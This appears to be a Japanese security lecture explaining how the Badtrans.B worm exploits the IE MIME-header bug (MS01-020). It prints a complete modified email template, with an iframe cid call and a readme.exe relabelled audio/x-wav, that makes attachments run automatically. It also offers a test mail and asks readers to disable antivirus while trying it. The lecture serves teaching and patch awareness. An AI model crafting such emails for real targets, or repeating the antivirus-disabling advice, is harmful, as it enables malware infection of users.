■ IEのバグ ■
前回はHTMLメールを改造して添付ファイルを実行するように書
き換える作業を行ないました。
どのように書き換えたかと言うと、以下の4つの事を行なった
のでした。
1.テキスト平文のパートは不要なので削除
2.HTML文で構成されているパートに「<iframe・・・」を追
加。これによりインターネットエクスプローラが添付ファ
イルを呼び出そうとする。
3.パート1のMIMEヘッダをrelated(関連する)に変更。
これによりHTML文で構成されたパートと添付ファイルで構
成されたパートが関連したものとなる。
4.添付ファイルで構成されているパートに「Content-ID:
<EA4DMGBP9p>」を追加。これによりHTML文から添付ファイ
ルが呼び出されるようになる。
これによりインターネットエクスプローラはこのHTML文を表示
する時に添付ファイルを実行しようとしてしまうのでした。
しかしここでマイクロソフトはこのまま添付ファイルを実行さ
せてしまうのはセキュリティ上好ましくないと思い、ユーザー
に添付ファイルの処理方法を選択させる為の確認ウィンドウを
開くという事の説明も行ないました。
今回はBadtrans.Bがこのセキュリティ機能をどのようにして突
破してしまうのか説明します。
まず、Badtrans.Bがこのセキュリティ機能を突破する為には、
インターネットエクスプローラに存在するバグを利用します。
そのバグに対するマイクロソフト社の説明ページを見てみまし
ょう。
─↓マイクロソフト社の説明ページ抜粋──────────
不適切な MIME ヘッダーが原因で Internet Explorer が電子
メールの添付ファイルを実行する (MS01-020)
登録日 : 2001/3/30
問題 :
技術的な説明 :
HTML 形式の電子メールは単に Web ページであるため、Inter-
net Explorer はそれらを再現し、そしてバイナリの添付ファ
イルをその MIME 形式に適切な方法で開くことができます。
しかし、特定の MIME 形式の処理に問題があります。攻撃者が
実行可能な添付ファイルを含む HTML 形式の電子メールを作成
し、その添付ファイルが Internet Explorer が正しく処理し
ない MIME 形式であると指定されるように MIME ヘッダー情報
を変更した場合、Internet Explorer がその電子メールを再現
する際に、添付ファイルを自動的に起動してしまいます。
─↑ここまで──────────────────────
全部読みたい方はこちら
>>>
http://www.asia.microsoft.com/japan/technet/security/bulletin/MS01-020.asp?frame=true
いつものように少し難しく書かれてある&具体性がありません。
しかし「不適切なMIMEヘッダ・・・」と書かれてあります。
「MIMEヘッダ」とは「MIME(Multipurpose Internet Mail Ext-
ensions encoding)ヘッダ」と言い、このヘッダがある部分は
それぞれ別々のパートに分かれているという事を示しているの
でした。
それでは「不適切なMIMEヘッダ」とは何でしょうか?
その説明の前に、再度5つのパートのMIMEヘッダを見てみまし
ょう。
パート1
┌────────────────────────────┐
│Content-Type: multipart/related;←●MIMEヘッダ │
パート2
┌────────────────────────────┐
│------=_NextPart_000_000D_01C1ADAD.89FB9BC0 │
│Content-Type: multipart/alternative;←●MIMEヘッダ │
パート3
テキスト平文で構成されたパートなので削除済み。
詳細は前回の講座を御覧ください。
>>> http://home.netyou.jp/gg/ugpop/academy002-035.htm
パート4
┌───────────────────────────────┐
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0 │
│Content-Type: text/html;←●MIMEヘッダ │
│ charset="iso-2022-jp" │
パート5
┌───────────────────────────────┐
│------=_NextPart_000_000D_01C1ADAD.89FB9BC0 │
│Content-Type: application/x-msdownload;←●MIMEヘッダ │
│ name="readme.exe" │
これらの中のどれかをマイクロソフトの言う「不適切なMIMEヘ
ッダ」に書き換えるのです。
実はパート5のMIMEヘッダ、たった1箇所を書き換えます。
書き換えた物を以下に示します。
パート5
┌───────────────────────────────┐
│------=_NextPart_000_000D_01C1ADAD.89FB9BC0 │
│Content-Type: audio/x-wav;←●書き換えた │
│ name="readme.exe" │
MIMEヘッダの「application/x-msdownload」となっていた部分
が「audio/x-wav」となっています。
たったこれだけです。
これだけで添付ファイルであるプログラムがユーザーの意思と
関係なく勝手に実行されるようになってしまいます。
通常、この様なMIMEヘッダの場合もユーザーに処理を選択させ
る為のウィンドウが開かなければならないのですが、マイクロ
ソフトはこの処理を入れ忘れてしまいました。
これがインターネットエクスプローラのバグです。
非常に単純ですね。
ここまでのまとめとして、正常なメールヘッダを添付ファイル
を勝手に実行してしまうように変更を加えた物を以下に示しま
す。
変更を加えた部分には●印をつけてあります。
─↓ここから──────────────────────
Content-Type: multipart/related;←●related(関連する)に変更
boundary="----=_NextPart_000_000D_01C1ADAD.89FB9BC0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
------=_NextPart_000_000D_01C1ADAD.89FB9BC0
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_000E_01C1ADAD.89FB9BC0"
←●テキスト平文のパートは削除
------=_NextPart_001_000E_01C1ADAD.89FB9BC0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
↑
●添付ファイルを呼び出すようにHTML文を追加
</iframe></BODY></HTML>
------=_NextPart_001_000E_01C1ADAD.89FB9BC0--
------=_NextPart_000_000D_01C1ADAD.89FB9BC0
Content-Type: audio/x-wav;
↑
●添付ファイルをオーディオファイルに変更
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>
↑
●HTML文から呼び出されるようにCID(Content-ID)を追加
─↑ここまで──────────────────────
見ていただけると分かりますが、●印はたった5箇所しかあり
ません。
いかに簡単にウィルスが作成出来てしまうかお分かりいただけ
るでしょうか?
あまりにも単純なバグの為、このバグを利用したコンピュータ
ウィルスはBadtrans.Bだけでなく、複数種類現れました。
バグが単純である為、これを利用したウィルスは割と簡単に作
れてしまうのです。
以下にいくつか並べてみます。
(他にもあるかもしれません。)
Badtrans.B
nimda
Klez
Aliz
結構ありますね?
有名なnimdaウィルスやKlezウィルスもこれと全く同じバグを
利用しているのです。
ところで、このバグを利用したメールを私も作ってみました。
勿論、ウィルスメールを作ったわけではなく、添付ファイルの
プログラムコードは害の無い別のものに作り変えてあります。
興味のある方はこちらからダウンロードしてみてください。
>>>
http://home.netyou.jp/gg/ugpop/test.lzh
【使用上の注意】
上記ファイルをダウンロードしてダブルクリックすると、環境
によってはアンチウィルスソフトが動作し、ウィルスを発見し
た旨の警告文が表示される場合があるようです。
テストメールの動作確認をしたい方は、1時的にアンチウィル
スソフトを無効にしておくようにお願い致します。もちろん、
動作確認後は有効にしておくのを忘れないようにご注意くださ
い。
【使い方】
1.ダウンロードしたファイルを解凍する。
2.解凍されたファイルをダブルクリックする。
これでOutlook Expressをインストールしている環境の方はメ
ーラーが起動し、プレビュー画面が表示されます。
なお始めに断っておきますが、このメールに添付してあるプロ
グラムは、ちょっとドキッとするメッセージを表示するように
なっています。
極度に心配性の方、気の短い方はメールをプレビューしないよ
う、よろしくお願い申し上げます。
また、ウィンドウズのメディアプレイヤーをインストールして
いる環境ではパッチが当たっている、いないに関わらず、添付
ファイルをメディアプレイヤーで再生しようとしてエラーが発
生する場合があります。(Content-Type: audio/x-wavとなっ
ているのは、本来音楽関連のファイルを意味します。)
このメールをプレビューした時点で、パッチが当たっている環
境では、添付ファイルを開くのか、保存するのか、指示を仰ぐ
ウィンドウが表示されるはずです。
そのウィンドウが表示された方、おめでとうございます。
あなたのコンピュータは既にパッチが当たっているようです。
しかしこの脆弱性に対するパッチが当たっていない環境では、
いきなり添付ファイルのプログラムが動作してしまいます。
(ただし、害を与えるものではありませんのでご安心ください。)
必ず下記サイトにてパッチを当てるようにしましょう。
>>>
http://www.asia.microsoft.com/japan/technet/security/bulletin/ms02-015.asp?frame=true
また、ウィルス対策ソフトをインストールしていない方は既に
ウィルスに感染している可能性があります。
以下のサイトにて無料でウィルス診断を行ってくれます。
時間がかかりますが我慢して待ちましょう。
>>>
http://housecall.antivirus.com/housecall/start_jp.asp
悪い事に何らかのウィルスが検出されてしまった方は、こちら
でウィルス駆除を行っているので必ず駆除してください。
(ただし95/98/Meユーザーのみ)
>>>
http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionID=2617
Badtrans.Bウィルスが検出されてしまった方はこちらに駆除ツ
ールがあります。
>>>
http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionId=3368
コンピュータウィルスという物はユーザーにその存在を知らせ
てくれる事はめったにありません。
裏で密かに活動する物が多いのです。
ウィルスに感染してしまっても即座にそれに気が付き、対処出
来ればまだ良い方かもしれません。
最悪なのはそれに気付く事なくウィルスを活動させ続けてしま
う事です。
先ほどマイクロソフト社の説明ページを見てもらいました。
日付を見ていただけると分かると思いますが、今回のBadtran-
s.Bウィルスが利用するバグは1年以上前にマイクロソフト社
より警告が出され、パッチも提供されていました。
問題はこれに気が付くこと無く、脆弱性を残したままにしてし
まう事の方にあるのかもしれません。
脆弱性を残したままにしてしまうという事は、自分のコンピュ
ータが危険にさらされるだけでなく、他人にも迷惑をかけてし
まうという事でもあります。
ウィルスを作成する人がもちろん1番悪いのですが、ウィルス
作成者に、作るな、と言ったところでウィルスが無くなるとい
う事は恐らく無いでしょう。
日頃からセキュリティ情報に気を付けて、自分のコンピュータ
を守るという事は、今となっては最低限の義務と言っても良い
のではないでしょうか?
ところでつい最近、マイクロソフト社より最新パッチが提供され
ています。
あなたはもう更新しましたか?
参考文献:
他力本願堂(私のサイトより1000倍位有名です。(^^;)
>>> http://tarikihongandou.shadowpenguin.org/
MIMEヘッダについて知りたい方
>>>
http://www.geocities.co.jp/Hollywood/9752/mime.html
マイクロソフト社の最新パッチ情報
>>>
http://www.asia.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/current.asp